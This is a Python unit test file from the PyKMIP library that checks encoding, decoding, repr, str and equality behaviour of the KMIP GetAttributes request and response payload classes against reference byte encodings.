kmip/tests/unit/core/messages/payloads/test_get_attributes.py

smira/PyKMIP

54f3688a14bcc442b270765e21732b77d18b2a72

[ "Apache-2.0" ]

null

kmip/tests/unit/core/messages/payloads/test_get_attributes.py

smira/PyKMIP

54f3688a14bcc442b270765e21732b77d18b2a72

[ "Apache-2.0" ]

null

# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import copy import testtools from kmip.core import attributes from kmip.core import enums from kmip.core import exceptions from kmip.core import objects from kmip.core import primitives from kmip.core import utils from kmip.core.messages import payloads class TestGetAttributesRequestPayload(testtools.TestCase): """ Test suite for the GetAttributes request payload. """ def setUp(self): super(TestGetAttributesRequestPayload, self).setUp() # Encodings taken from Sections 3.1.2 of the KMIP 1.1 testing # documentation. self.full_encoding = utils.BytearrayStream( b'\x42\x00\x79\x01\x00\x00\x00\xA8\x42\x00\x94\x07\x00\x00\x00\x24' b'\x31\x37\x30\x33\x32\x35\x30\x62\x2D\x34\x64\x34\x30\x2D\x34\x64' b'\x65\x32\x2D\x39\x33\x61\x30\x2D\x63\x34\x39\x34\x61\x31\x64\x34' b'\x61\x65\x34\x30\x00\x00\x00\x00\x42\x00\x0A\x07\x00\x00\x00\x0C' b'\x4F\x62\x6A\x65\x63\x74\x20\x47\x72\x6F\x75\x70\x00\x00\x00\x00' b'\x42\x00\x0A\x07\x00\x00\x00\x20\x41\x70\x70\x6C\x69\x63\x61\x74' b'\x69\x6F\x6E\x20\x53\x70\x65\x63\x69\x66\x69\x63\x20\x49\x6E\x66' b'\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x42\x00\x0A\x07\x00\x00\x00\x13' b'\x43\x6F\x6E\x74\x61\x63\x74\x20\x49\x6E\x66\x6F\x72\x6D\x61\x74' b'\x69\x6F\x6E\x00\x00\x00\x00\x00\x42\x00\x0A\x07\x00\x00\x00\x09' b'\x78\x2D\x50\x75\x72\x70\x6F\x73\x65\x00\x00\x00\x00\x00\x00\x00' ) self.encoding_sans_unique_identifier = utils.BytearrayStream( b'\x42\x00\x79\x01\x00\x00\x00\x78\x42\x00\x0A\x07\x00\x00\x00\x0C' b'\x4F\x62\x6A\x65\x63\x74\x20\x47\x72\x6F\x75\x70\x00\x00\x00\x00' b'\x42\x00\x0A\x07\x00\x00\x00\x20\x41\x70\x70\x6C\x69\x63\x61\x74' b'\x69\x6F\x6E\x20\x53\x70\x65\x63\x69\x66\x69\x63\x20\x49\x6E\x66' b'\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x42\x00\x0A\x07\x00\x00\x00\x13' b'\x43\x6F\x6E\x74\x61\x63\x74\x20\x49\x6E\x66\x6F\x72\x6D\x61\x74' b'\x69\x6F\x6E\x00\x00\x00\x00\x00\x42\x00\x0A\x07\x00\x00\x00\x09' b'\x78\x2D\x50\x75\x72\x70\x6F\x73\x65\x00\x00\x00\x00\x00\x00\x00' ) self.encoding_sans_attribute_names = utils.BytearrayStream( b'\x42\x00\x79\x01\x00\x00\x00\x30\x42\x00\x94\x07\x00\x00\x00\x24' b'\x31\x37\x30\x33\x32\x35\x30\x62\x2D\x34\x64\x34\x30\x2D\x34\x64' b'\x65\x32\x2D\x39\x33\x61\x30\x2D\x63\x34\x39\x34\x61\x31\x64\x34' b'\x61\x65\x34\x30\x00\x00\x00\x00' ) self.empty_encoding = utils.BytearrayStream( b'\x42\x00\x79\x01\x00\x00\x00\x00' ) self.unique_identifier = '1703250b-4d40-4de2-93a0-c494a1d4ae40' self.attribute_names = [ 'Object Group', 'Application Specific Information', 'Contact Information', 'x-Purpose' ] def tearDown(self): super(TestGetAttributesRequestPayload, self).tearDown() def test_init(self): """ Test that a GetAttributes request payload can be constructed with no arguments. """ payloads.GetAttributesRequestPayload() def test_init_with_args(self): """ Test that a GetAttributes request payload can be constructed with a valid value. """ payloads.GetAttributesRequestPayload( 'test-unique-identifier', ['test-attribute-name-1', 'test-attribute-name-2'] ) def test_unique_identifier(self): """ Test that the unique_identifier attribute of a GetAttributes request payload can be properly set and retrieved. """ payload = payloads.GetAttributesRequestPayload() self.assertIsNone(payload.unique_identifier) self.assertIsNone(payload._unique_identifier) payload.unique_identifier = 'test-unique-identifier' self.assertEqual('test-unique-identifier', payload.unique_identifier) self.assertEqual( primitives.TextString( value='test-unique-identifier', tag=enums.Tags.UNIQUE_IDENTIFIER ), payload._unique_identifier ) def test_unique_identifier_with_invalid_value(self): """ Test that a TypeError is raised when an invalid ID is used to set the unique_identifier attribute of a GetAttributes request payload. """ payload = payloads.GetAttributesRequestPayload() args = (payload, 'unique_identifier', 0) self.assertRaisesRegex( TypeError, "unique identifier must be a string", setattr, *args ) def test_attribute_names(self): """ Test that the attribute_names attribute of a GetAttributes request payload can be properly set and retrieved. """ payload = payloads.GetAttributesRequestPayload() self.assertEqual(list(), payload.attribute_names) self.assertEqual(list(), payload._attribute_names) payload.attribute_names = [ 'test-attribute-name-1', 'test-attribute-name-2' ] self.assertEqual(2, len(payload.attribute_names)) self.assertEqual(2, len(payload._attribute_names)) self.assertIn('test-attribute-name-1', payload.attribute_names) self.assertIn('test-attribute-name-2', payload.attribute_names) self.assertIn( primitives.TextString( value='test-attribute-name-1', tag=enums.Tags.ATTRIBUTE_NAME ), payload._attribute_names ) self.assertIn( primitives.TextString( value='test-attribute-name-2', tag=enums.Tags.ATTRIBUTE_NAME ), payload._attribute_names ) def test_attribute_names_with_invalid_value(self): """ Test that a TypeError is raised when an invalid list is used to set the attribute_names attribute of a GetAttributes request payload. """ payload = payloads.GetAttributesRequestPayload() args = (payload, 'attribute_names', 0) self.assertRaisesRegex( TypeError, "attribute_names must be a list of strings", setattr, *args ) def test_attribute_names_with_invalid_attribute_name(self): """ Test that a TypeError is raised when an invalid attribute name is included in the list used to set the attribute_names attribute of a GetAttributes request payload. """ payload = payloads.GetAttributesRequestPayload() args = ( payload, 'attribute_names', ['test-attribute-name-1', 0] ) self.assertRaisesRegex( TypeError, "attribute_names must be a list of strings; " "item 2 has type {0}".format(type(0)), setattr, *args ) def test_attribute_names_with_duplicates(self): """ Test that duplicate attribute names are silently removed when setting the attribute_names attribute of a GetAttributes request payload. """ payload = payloads.GetAttributesRequestPayload() self.assertEqual(list(), payload.attribute_names) self.assertEqual(list(), payload._attribute_names) payload.attribute_names = [ 'test-attribute-name-1', 'test-attribute-name-1', 'test-attribute-name-2' ] self.assertEqual(2, len(payload.attribute_names)) self.assertEqual(2, len(payload._attribute_names)) self.assertIn('test-attribute-name-1', payload.attribute_names) self.assertIn('test-attribute-name-2', payload.attribute_names) self.assertIn( primitives.TextString( value='test-attribute-name-1', tag=enums.Tags.ATTRIBUTE_NAME ), payload._attribute_names ) self.assertIn( primitives.TextString( value='test-attribute-name-2', tag=enums.Tags.ATTRIBUTE_NAME ), payload._attribute_names ) def test_read(self): """ Test that a GetAttributes request payload can be read from a data stream. """ payload = payloads.GetAttributesRequestPayload() self.assertEqual(None, payload._unique_identifier) self.assertEqual(list(), payload._attribute_names) payload.read(self.full_encoding) self.assertEqual(self.unique_identifier, payload.unique_identifier) self.assertEqual( primitives.TextString( value=self.unique_identifier, tag=enums.Tags.UNIQUE_IDENTIFIER ), payload._unique_identifier ) self.assertEqual( set(self.attribute_names), set(payload.attribute_names) ) for attribute_name in self.attribute_names: self.assertIn( primitives.TextString( value=attribute_name, tag=enums.Tags.ATTRIBUTE_NAME ), payload._attribute_names ) def test_read_with_no_unique_identifier(self): """ Test that a GetAttributes request payload with no ID can be read from a data stream. """ payload = payloads.GetAttributesRequestPayload() self.assertEqual(None, payload._unique_identifier) self.assertEqual(list(), payload._attribute_names) payload.read(self.encoding_sans_unique_identifier) self.assertEqual(None, payload.unique_identifier) self.assertEqual(None, payload._unique_identifier) self.assertEqual( set(self.attribute_names), set(payload.attribute_names) ) for attribute_name in self.attribute_names: self.assertIn( primitives.TextString( value=attribute_name, tag=enums.Tags.ATTRIBUTE_NAME ), payload._attribute_names ) def test_read_with_no_attribute_names(self): """ Test that a GetAttributes request payload with no attribute names can be read from a data stream. """ payload = payloads.GetAttributesRequestPayload() self.assertEqual(None, payload._unique_identifier) self.assertEqual(list(), payload._attribute_names) payload.read(self.encoding_sans_attribute_names) self.assertEqual(self.unique_identifier, payload.unique_identifier) self.assertEqual( primitives.TextString( value=self.unique_identifier, tag=enums.Tags.UNIQUE_IDENTIFIER ), payload._unique_identifier ) self.assertEqual(list(), payload.attribute_names) self.assertEqual(list(), payload._attribute_names) def test_read_with_no_content(self): """ Test that a GetAttributes request payload with no ID or attribute names can be read from a data stream. """ payload = payloads.GetAttributesRequestPayload() self.assertEqual(None, payload._unique_identifier) self.assertEqual(list(), payload._attribute_names) payload.read(self.empty_encoding) self.assertEqual(None, payload.unique_identifier) self.assertEqual(None, payload._unique_identifier) self.assertEqual(list(), payload.attribute_names) self.assertEqual(list(), payload._attribute_names) def test_write(self): """ Test that a GetAttributes request payload can be written to a data stream. """ payload = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) stream = utils.BytearrayStream() payload.write(stream) self.assertEqual(len(self.full_encoding), len(stream)) self.assertEqual(str(self.full_encoding), str(stream)) def test_write_with_no_unique_identifier(self): """ Test that a GetAttributes request payload with no ID can be written to a data stream. """ payload = payloads.GetAttributesRequestPayload( None, self.attribute_names ) stream = utils.BytearrayStream() payload.write(stream) self.assertEqual( len(self.encoding_sans_unique_identifier), len(stream) ) self.assertEqual( str(self.encoding_sans_unique_identifier), str(stream) ) def test_write_with_no_attribute_names(self): """ Test that a GetAttributes request payload with no attribute names can be written to a data stream. """ payload = payloads.GetAttributesRequestPayload( self.unique_identifier, None ) stream = utils.BytearrayStream() payload.write(stream) self.assertEqual(len(self.encoding_sans_attribute_names), len(stream)) self.assertEqual(str(self.encoding_sans_attribute_names), str(stream)) def test_write_with_no_content(self): """ Test that a GetAttributes request payload with no ID or attribute names can be written to a data stream. """ payload = payloads.GetAttributesRequestPayload() stream = utils.BytearrayStream() payload.write(stream) self.assertEqual(len(self.empty_encoding), len(stream)) self.assertEqual(str(self.empty_encoding), str(stream)) def test_repr(self): """ Test that repr can be applied to a GetAttributes request payload. """ payload = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) unique_identifier = "unique_identifier={0}".format( payload.unique_identifier ) attribute_names = "attribute_names={0}".format( payload.attribute_names ) expected = "GetAttributesRequestPayload({0}, {1})".format( unique_identifier, attribute_names ) observed = repr(payload) self.assertEqual(expected, observed) def test_repr_with_no_unique_identifier(self): """ Test that repr can be applied to a GetAttributes request payload with no ID. """ payload = payloads.GetAttributesRequestPayload( None, self.attribute_names ) unique_identifier = "unique_identifier={0}".format( payload.unique_identifier ) attribute_names = "attribute_names={0}".format( payload.attribute_names ) expected = "GetAttributesRequestPayload({0}, {1})".format( unique_identifier, attribute_names ) observed = repr(payload) self.assertEqual(expected, observed) def test_repr_with_no_attribute_names(self): """ Test that repr can be applied to a GetAttributes request payload with no attribute names. """ payload = payloads.GetAttributesRequestPayload( self.unique_identifier, None ) unique_identifier = "unique_identifier={0}".format( payload.unique_identifier ) attribute_names = "attribute_names={0}".format( payload.attribute_names ) expected = "GetAttributesRequestPayload({0}, {1})".format( unique_identifier, attribute_names ) observed = repr(payload) self.assertEqual(expected, observed) def test_repr_with_no_content(self): """ Test that repr can be applied to a GetAttributes request payload with no ID or attribute names. """ payload = payloads.GetAttributesRequestPayload( None, None ) unique_identifier = "unique_identifier={0}".format( payload.unique_identifier ) attribute_names = "attribute_names={0}".format( payload.attribute_names ) expected = "GetAttributesRequestPayload({0}, {1})".format( unique_identifier, attribute_names ) observed = repr(payload) self.assertEqual(expected, observed) def test_str(self): """ Test that str can be applied to a GetAttributes request payload. """ payload = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) expected = str({ 'unique_identifier': self.unique_identifier, 'attribute_names': self.attribute_names }) observed = str(payload) self.assertEqual(expected, observed) def test_str_with_no_id(self): """ Test that str can be applied to a GetAttributes request payload with no ID. """ payload = payloads.GetAttributesRequestPayload( None, self.attribute_names ) expected = str({ 'unique_identifier': None, 'attribute_names': self.attribute_names }) observed = str(payload) self.assertEqual(expected, observed) def test_str_with_no_attribute_names(self): """ Test that str can be applied to a GetAttributes request payload with no attribute names. """ payload = payloads.GetAttributesRequestPayload( self.unique_identifier, None ) expected = str({ 'unique_identifier': self.unique_identifier, 'attribute_names': list() }) observed = str(payload) self.assertEqual(expected, observed) def test_str_with_no_content(self): """ Test that str can be applied to a GetAttributes request payload with no ID or attribute names. """ payload = payloads.GetAttributesRequestPayload( None, None ) expected = str({ 'unique_identifier': None, 'attribute_names': list() }) observed = str(payload) self.assertEqual(expected, observed) def test_equal_on_equal(self): """ Test that the equality operator returns True when comparing two GetAttributes request payloads with the same data. """ a = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) b = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) self.assertTrue(a == b) self.assertTrue(b == a) def test_equal_with_mixed_attribute_names(self): """ Test that the equality operator returns True when comparing two GetAttributes request payload with the same attribute_name sets but with different attribute name orderings. """ a = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) self.attribute_names.reverse() b = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) self.assertTrue(a == b) self.assertTrue(b == a) def test_equal_on_not_equal_unique_identifier(self): """ Test that the equality operator returns False when comparing two GetAttributes request payloads with different IDs. """ a = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) b = payloads.GetAttributesRequestPayload( 'invalid', self.attribute_names ) self.assertFalse(a == b) self.assertFalse(b == a) def test_equal_on_not_equal_attribute_names(self): """ Test that the equality operator returns False when comparing two GetAttributes request payloads with different attribute names. """ a = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) b = payloads.GetAttributesRequestPayload( self.unique_identifier, None ) self.assertFalse(a == b) self.assertFalse(b == a) def test_equal_on_type_mismatch(self): """ Test that the equality operator returns False when comparing a GetAttributes request payload to a non-GetAttributes request payload. """ a = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) b = "invalid" self.assertFalse(a == b) self.assertFalse(b == a) def test_not_equal_on_equal(self): """ Test that the inequality operator returns False when comparing two GetAttributes request payloads with the same internal data. """ a = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) b = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) self.assertFalse(a != b) self.assertFalse(b != a) def test_not_equal_on_not_equal_unique_identifier(self): """ Test that the inequality operator returns True when comparing two GetAttributes request payloads with different IDs. """ a = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) b = payloads.GetAttributesRequestPayload( 'invalid', self.attribute_names ) self.assertTrue(a != b) self.assertTrue(b != a) def test_not_equal_on_not_equal_attribute_names(self): """ Test that the inequality operator returns True when comparing two GetAttributes request payloads with different attribute names. """ a = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) b = payloads.GetAttributesRequestPayload( self.unique_identifier, None ) self.assertTrue(a != b) self.assertTrue(b != a) def test_not_equal_on_type_mismatch(self): """ Test that the equality operator returns True when comparing a GetAttributes request payload to a non-GetAttributes request payload. """ a = payloads.GetAttributesRequestPayload( self.unique_identifier, self.attribute_names ) b = "invalid" self.assertTrue(a != b) self.assertTrue(b != a) class TestGetAttributesResponsePayload(testtools.TestCase): """ Test suite for the GetAttributes response payload. """ def setUp(self): super(TestGetAttributesResponsePayload, self).setUp() # Encodings taken from Sections 3.1.2 of the KMIP 1.1 testing # documentation. self.full_encoding = utils.BytearrayStream( b'\x42\x00\x7C\x01\x00\x00\x01\x30\x42\x00\x94\x07\x00\x00\x00\x24' b'\x31\x37\x30\x33\x32\x35\x30\x62\x2D\x34\x64\x34\x30\x2D\x34\x64' b'\x65\x32\x2D\x39\x33\x61\x30\x2D\x63\x34\x39\x34\x61\x31\x64\x34' b'\x61\x65\x34\x30\x00\x00\x00\x00\x42\x00\x08\x01\x00\x00\x00\x28' b'\x42\x00\x0A\x07\x00\x00\x00\x0C\x4F\x62\x6A\x65\x63\x74\x20\x47' b'\x72\x6F\x75\x70\x00\x00\x00\x00\x42\x00\x0B\x07\x00\x00\x00\x06' b'\x47\x72\x6F\x75\x70\x31\x00\x00\x42\x00\x08\x01\x00\x00\x00\x58' b'\x42\x00\x0A\x07\x00\x00\x00\x20\x41\x70\x70\x6C\x69\x63\x61\x74' b'\x69\x6F\x6E\x20\x53\x70\x65\x63\x69\x66\x69\x63\x20\x49\x6E\x66' b'\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x42\x00\x0B\x01\x00\x00\x00\x28' b'\x42\x00\x03\x07\x00\x00\x00\x03\x73\x73\x6C\x00\x00\x00\x00\x00' b'\x42\x00\x02\x07\x00\x00\x00\x0F\x77\x77\x77\x2E\x65\x78\x61\x6D' b'\x70\x6C\x65\x2E\x63\x6F\x6D\x00\x42\x00\x08\x01\x00\x00\x00\x30' b'\x42\x00\x0A\x07\x00\x00\x00\x13\x43\x6F\x6E\x74\x61\x63\x74\x20' b'\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x00\x00\x00\x00' b'\x42\x00\x0B\x07\x00\x00\x00\x03\x4A\x6F\x65\x00\x00\x00\x00\x00' b'\x42\x00\x08\x01\x00\x00\x00\x30\x42\x00\x0A\x07\x00\x00\x00\x09' b'\x78\x2D\x50\x75\x72\x70\x6F\x73\x65\x00\x00\x00\x00\x00\x00\x00' b'\x42\x00\x0B\x07\x00\x00\x00\x0D\x64\x65\x6D\x6F\x6E\x73\x74\x72' b'\x61\x74\x69\x6F\x6E\x00\x00\x00' ) self.encoding_sans_unique_identifier = utils.BytearrayStream( b'\x42\x00\x7C\x01\x00\x00\x01\x00\x42\x00\x08\x01\x00\x00\x00\x28' b'\x42\x00\x0A\x07\x00\x00\x00\x0C\x4F\x62\x6A\x65\x63\x74\x20\x47' b'\x72\x6F\x75\x70\x00\x00\x00\x00\x42\x00\x0B\x07\x00\x00\x00\x06' b'\x47\x72\x6F\x75\x70\x31\x00\x00\x42\x00\x08\x01\x00\x00\x00\x58' b'\x42\x00\x0A\x07\x00\x00\x00\x20\x41\x70\x70\x6C\x69\x63\x61\x74' b'\x69\x6F\x6E\x20\x53\x70\x65\x63\x69\x66\x69\x63\x20\x49\x6E\x66' b'\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x42\x00\x0B\x01\x00\x00\x00\x28' b'\x42\x00\x03\x07\x00\x00\x00\x03\x73\x73\x6C\x00\x00\x00\x00\x00' b'\x42\x00\x02\x07\x00\x00\x00\x0F\x77\x77\x77\x2E\x65\x78\x61\x6D' b'\x70\x6C\x65\x2E\x63\x6F\x6D\x00\x42\x00\x08\x01\x00\x00\x00\x30' b'\x42\x00\x0A\x07\x00\x00\x00\x13\x43\x6F\x6E\x74\x61\x63\x74\x20' b'\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x00\x00\x00\x00' b'\x42\x00\x0B\x07\x00\x00\x00\x03\x4A\x6F\x65\x00\x00\x00\x00\x00' b'\x42\x00\x08\x01\x00\x00\x00\x30\x42\x00\x0A\x07\x00\x00\x00\x09' b'\x78\x2D\x50\x75\x72\x70\x6F\x73\x65\x00\x00\x00\x00\x00\x00\x00' b'\x42\x00\x0B\x07\x00\x00\x00\x0D\x64\x65\x6D\x6F\x6E\x73\x74\x72' b'\x61\x74\x69\x6F\x6E\x00\x00\x00' ) self.encoding_sans_attributes = utils.BytearrayStream( b'\x42\x00\x7C\x01\x00\x00\x00\x30\x42\x00\x94\x07\x00\x00\x00\x24' b'\x31\x37\x30\x33\x32\x35\x30\x62\x2D\x34\x64\x34\x30\x2D\x34\x64' b'\x65\x32\x2D\x39\x33\x61\x30\x2D\x63\x34\x39\x34\x61\x31\x64\x34' b'\x61\x65\x34\x30\x00\x00\x00\x00' ) self.unique_identifier = '1703250b-4d40-4de2-93a0-c494a1d4ae40' self.attributes = [ objects.Attribute( attribute_name=objects.Attribute.AttributeName( 'Object Group' ), attribute_value=attributes.ObjectGroup('Group1') ), objects.Attribute( attribute_name=objects.Attribute.AttributeName( 'Application Specific Information' ), attribute_value=attributes.ApplicationSpecificInformation( attributes.ApplicationNamespace('ssl'), attributes.ApplicationData('www.example.com') ) ), objects.Attribute( attribute_name=objects.Attribute.AttributeName( 'Contact Information' ), attribute_value=attributes.ContactInformation('Joe') ), objects.Attribute( attribute_name=objects.Attribute.AttributeName('x-Purpose'), attribute_value=primitives.TextString('demonstration') ) ] def tearDown(self): super(TestGetAttributesResponsePayload, self).tearDown() def test_init(self): """ Test that a GetAttributes response payload can be constructed. """ payloads.GetAttributesResponsePayload() def test_init_with_args(self): """ Test that a GetAttributes response payload can be constructed with a valid value. """ payloads.GetAttributesResponsePayload( 'test-unique-identifier', [objects.Attribute(), objects.Attribute()] ) def test_unique_identifier(self): """ Test that the unique_identifier attribute of a GetAttributes response payload can be properly set and retrieved. """ payload = payloads.GetAttributesResponsePayload() self.assertIsNone(payload.unique_identifier) self.assertIsNone(payload._unique_identifier) payload.unique_identifier = 'test-unique-identifier' self.assertEqual('test-unique-identifier', payload.unique_identifier) self.assertEqual( primitives.TextString( value='test-unique-identifier', tag=enums.Tags.UNIQUE_IDENTIFIER ), payload._unique_identifier ) def test_unique_identifier_with_invalid_value(self): """ Test that a TypeError is raised when an invalid ID is used to set the unique_identifier attribute of a GetAttributes response payload. """ payload = payloads.GetAttributesResponsePayload() args = (payload, 'unique_identifier', 0) self.assertRaisesRegex( TypeError, "unique identifier must be a string", setattr, *args ) def test_attributes(self): """ Test that the attributes attribute of a GetAttributes response payload can be properly set and retrieved. """ payload = payloads.GetAttributesResponsePayload() self.assertEqual(list(), payload.attributes) self.assertEqual(list(), payload._attributes) payload.attributes = [ objects.Attribute(), objects.Attribute() ] self.assertEqual(2, len(payload.attributes)) self.assertEqual(2, len(payload._attributes)) for attribute in payload._attributes: self.assertIsInstance(attribute, objects.Attribute) def test_attributes_with_invalid_value(self): """ Test that a TypeError is raised when an invalid list is used to set the attributes attribute of a GetAttributes response payload. """ payload = payloads.GetAttributesResponsePayload() args = (payload, 'attributes', 0) self.assertRaisesRegex( TypeError, "attributes must be a list of attribute objects", setattr, *args ) def test_attributes_with_invalid_attribute(self): """ Test that a TypeError is raised when an invalid attribute is included in the list used to set the attributes attribute of a GetAttributes response payload. """ payload = payloads.GetAttributesResponsePayload() args = ( payload, 'attributes', [objects.Attribute(), 0] ) self.assertRaisesRegex( TypeError, "attributes must be a list of attribute objects; " "item 2 has type {0}".format(type(0)), setattr, *args ) def test_read(self): """ Test that a GetAttributes response payload can be read from a data stream. """ payload = payloads.GetAttributesResponsePayload() self.assertEqual(None, payload._unique_identifier) self.assertEqual(list(), payload._attributes) payload.read(self.full_encoding) self.assertEqual(self.unique_identifier, payload.unique_identifier) self.assertEqual( primitives.TextString( value=self.unique_identifier, tag=enums.Tags.UNIQUE_IDENTIFIER ), payload._unique_identifier ) self.assertEqual( len(self.attributes), len(payload.attributes) ) for attribute in self.attributes: self.assertIn( attribute, payload._attributes ) def test_read_with_no_unique_identifier(self): """ Test that an InvalidKmipEncoding error gets raised when attempting to read a GetAttributes response encoding with no ID data. """ payload = payloads.GetAttributesResponsePayload() self.assertEqual(None, payload._unique_identifier) self.assertEqual(list(), payload._attributes) args = (self.encoding_sans_unique_identifier, ) self.assertRaisesRegex( exceptions.InvalidKmipEncoding, "expected GetAttributes response unique identifier not found", payload.read, *args ) def test_read_with_no_attributes(self): """ Test that a GetAttributes response payload without attribute name data can be read from a data stream. """ payload = payloads.GetAttributesResponsePayload() self.assertEqual(None, payload._unique_identifier) self.assertEqual(list(), payload._attributes) payload.read(self.encoding_sans_attributes) self.assertEqual(self.unique_identifier, payload.unique_identifier) self.assertEqual( primitives.TextString( value=self.unique_identifier, tag=enums.Tags.UNIQUE_IDENTIFIER ), payload._unique_identifier ) self.assertEqual(list(), payload.attributes) self.assertEqual(list(), payload._attributes) def test_write(self): """ Test that a GetAttributes response payload can be written to a data stream. """ payload = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) stream = utils.BytearrayStream() payload.write(stream) self.assertEqual(len(self.full_encoding), len(stream)) self.assertEqual(str(self.full_encoding), str(stream)) def test_write_with_no_unique_identifier(self): """ Test that a GetAttributes request payload with no ID can be written to a data stream. """ payload = payloads.GetAttributesResponsePayload( None, self.attributes ) stream = utils.BytearrayStream() args = (stream, ) self.assertRaisesRegex( exceptions.InvalidField, "The GetAttributes response unique identifier is required.", payload.write, *args ) def test_write_with_no_attribute_names(self): """ Test that a GetAttributes response payload with no attribute name data can be written to a data stream. """ payload = payloads.GetAttributesResponsePayload( self.unique_identifier, None ) stream = utils.BytearrayStream() payload.write(stream) self.assertEqual(len(self.encoding_sans_attributes), len(stream)) self.assertEqual(str(self.encoding_sans_attributes), str(stream)) def test_repr(self): """ Test that repr can be applied to a GetAttributes response payload. """ payload = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) unique_identifier = "unique_identifier={0}".format( payload.unique_identifier ) payload_attributes = "attributes={0}".format( payload.attributes ) expected = "GetAttributesResponsePayload({0}, {1})".format( unique_identifier, payload_attributes ) observed = repr(payload) self.assertEqual(expected, observed) def test_str(self): """ Test that str can be applied to a GetAttributes response payload. """ payload = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) expected = str({ 'unique_identifier': self.unique_identifier, 'attributes': self.attributes }) observed = str(payload) self.assertEqual(expected, observed) def test_equal_on_equal(self): """ Test that the equality operator returns True when comparing two GetAttributes response payloads with the same data. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) b = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) self.assertTrue(a == b) self.assertTrue(b == a) def test_equal_on_not_equal_unique_identifier(self): """ Test that the equality operator returns False when comparing two GetAttributes response payloads with different data. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) b = payloads.GetAttributesResponsePayload( 'invalid', self.attributes ) self.assertFalse(a == b) self.assertFalse(b == a) def test_equal_on_not_equal_attributes(self): """ Test that the equality operator returns False when comparing two GetAttributes response payloads with different data. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) reversed_attributes = copy.deepcopy(self.attributes) reversed_attributes.reverse() b = payloads.GetAttributesResponsePayload( self.unique_identifier, reversed_attributes ) self.assertFalse(a == b) self.assertFalse(b == a) def test_equal_on_not_equal_attributes_count(self): """ Test that the equality operator returns False when comparing two GetAttributes response payloads with different data. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) b = payloads.GetAttributesResponsePayload( self.unique_identifier, list() ) self.assertFalse(a == b) self.assertFalse(b == a) def test_equal_on_not_equal_attributes_types(self): """ Test that the equality operator returns False when comparing two GetAttributes response payloads with different data. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, None ) b = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) self.assertFalse(a == b) self.assertFalse(b == a) def test_equal_on_type_mismatch(self): """ Test that the equality operator returns False when comparing a GetAttributes response payload to a non-GetAttributes response payload. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) b = 'invalid' self.assertFalse(a == b) self.assertFalse(b == a) def test_not_equal_on_equal(self): """ Test that the inequality operator returns False when comparing two GetAttributes response payloads with the same internal data. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) b = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) self.assertFalse(a != b) self.assertFalse(b != a) def test_not_equal_on_not_equal_unique_identifier(self): """ Test that the inequality operator returns True when comparing two GetAttributes request payloads with different data. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) b = payloads.GetAttributesResponsePayload( 'invalid', self.attributes ) self.assertTrue(a != b) self.assertTrue(b != a) def test_not_equal_on_not_equal_attributes(self): """ Test that the inequality operator returns False when comparing two GetAttributes response payloads with different data. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) reversed_attributes = copy.deepcopy(self.attributes) reversed_attributes.reverse() b = payloads.GetAttributesResponsePayload( self.unique_identifier, reversed_attributes ) self.assertTrue(a != b) self.assertTrue(b != a) def test_not_equal_on_not_equal_attributes_count(self): """ Test that the inequality operator returns False when comparing two GetAttributes response payloads with different data. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) b = payloads.GetAttributesResponsePayload( self.unique_identifier, list() ) self.assertTrue(a != b) self.assertTrue(b != a) def test_not_equal_on_not_equal_attributes_types(self): """ Test that the inequality operator returns False when comparing two GetAttributes response payloads with different data. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, None ) b = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) self.assertTrue(a != b) self.assertTrue(b != a) def test_not_equal_on_type_mismatch(self): """ Test that the inequality operator returns True when comparing a GetAttributes response payload to a non-GetAttributes response payload. """ a = payloads.GetAttributesResponsePayload( self.unique_identifier, self.attributes ) b = "invalid" self.assertTrue(a != b) self.assertTrue(b != a)

34.859649

79

0.610765

4,744

43,714

5.507799

0.058811

0.041104

0.0372

0.01883

0.908033

0.892227

0.883654

0.857783

0.848865

0.827548

0

0.063548

0.297685

43,714

1,253

80

34.88747

0.787531

0.165325

0

0.719484

0

0.070423

0.169068

0.140311

0

0.163146

1

0.075117

false

0

